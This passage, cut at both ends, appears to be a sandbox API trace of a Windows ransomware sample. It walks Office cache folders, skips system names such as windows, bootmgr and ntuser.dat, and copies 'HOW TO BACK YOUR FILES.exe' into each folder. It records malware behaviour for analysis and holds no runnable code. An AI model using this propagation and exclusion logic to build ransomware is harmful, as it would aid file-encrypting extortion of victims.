(lpString="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 40 [0036.129] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C") returned="{90140000-0016-0409-1000-0000000FF1CE}-C" [0036.129] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509008 [0036.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518788 [0036.130] lstrcatW (in: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0036.130] lstrcatW (in: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.130] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.135] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.135] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.135] lstrlenW (lpString="{90140000-0018-0409-1000-0000000FF1CE}-C") returned 40 [0036.135] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C") returned="{90140000-0018-0409-1000-0000000FF1CE}-C" [0036.135] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f520 [0036.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518898 [0036.136] lstrcatW (in: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0036.136] lstrcatW (in: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.137] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.144] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.145] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.145] lstrlenW (lpString="{90140000-0019-0409-1000-0000000FF1CE}-C") returned 40 [0036.145] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C") returned="{90140000-0019-0409-1000-0000000FF1CE}-C" [0036.145] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f538 [0036.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518b40 [0036.148] lstrcatW (in: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0036.148] lstrcatW (in: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.148] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.151] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.151] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.151] lstrlenW (lpString="{90140000-001A-0409-1000-0000000FF1CE}-C") returned 40 [0036.151] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C") returned="{90140000-001A-0409-1000-0000000FF1CE}-C" [0036.152] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f550 [0036.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518ab8 [0036.152] lstrcatW (in: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0036.152] lstrcatW (in: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.152] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.156] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.156] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.156] lstrlenW (lpString="{90140000-001B-0409-1000-0000000FF1CE}-C") returned 40 [0036.157] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C") returned="{90140000-001B-0409-1000-0000000FF1CE}-C" [0036.157] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f568 [0036.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5189a8 [0036.157] lstrcatW (in: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0036.158] lstrcatW (in: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.158] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.163] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.163] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.163] lstrlenW (lpString="{90140000-002C-0409-1000-0000000FF1CE}-C") returned 40 [0036.163] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C") returned="{90140000-002C-0409-1000-0000000FF1CE}-C" [0036.163] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f580 [0036.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518a30 [0036.164] lstrcatW (in: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0036.164] lstrcatW (in: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.164] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.169] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.170] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.170] lstrlenW (lpString="{90140000-0043-0409-1000-0000000FF1CE}-C") returned 40 [0036.170] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C") returned="{90140000-0043-0409-1000-0000000FF1CE}-C" [0036.170] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f598 [0036.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518bc8 [0036.171] lstrcatW (in: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0036.171] lstrcatW (in: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.171] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.174] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.174] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.175] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.175] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.175] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.175] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.175] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.175] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.175] lstrlenW (lpString="{90140000-0044-0409-1000-0000000FF1CE}-C") returned 40 [0036.175] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C") returned="{90140000-0044-0409-1000-0000000FF1CE}-C" [0036.175] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5b0 [0036.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518d60 [0036.176] lstrcatW (in: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0036.176] lstrcatW (in: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All 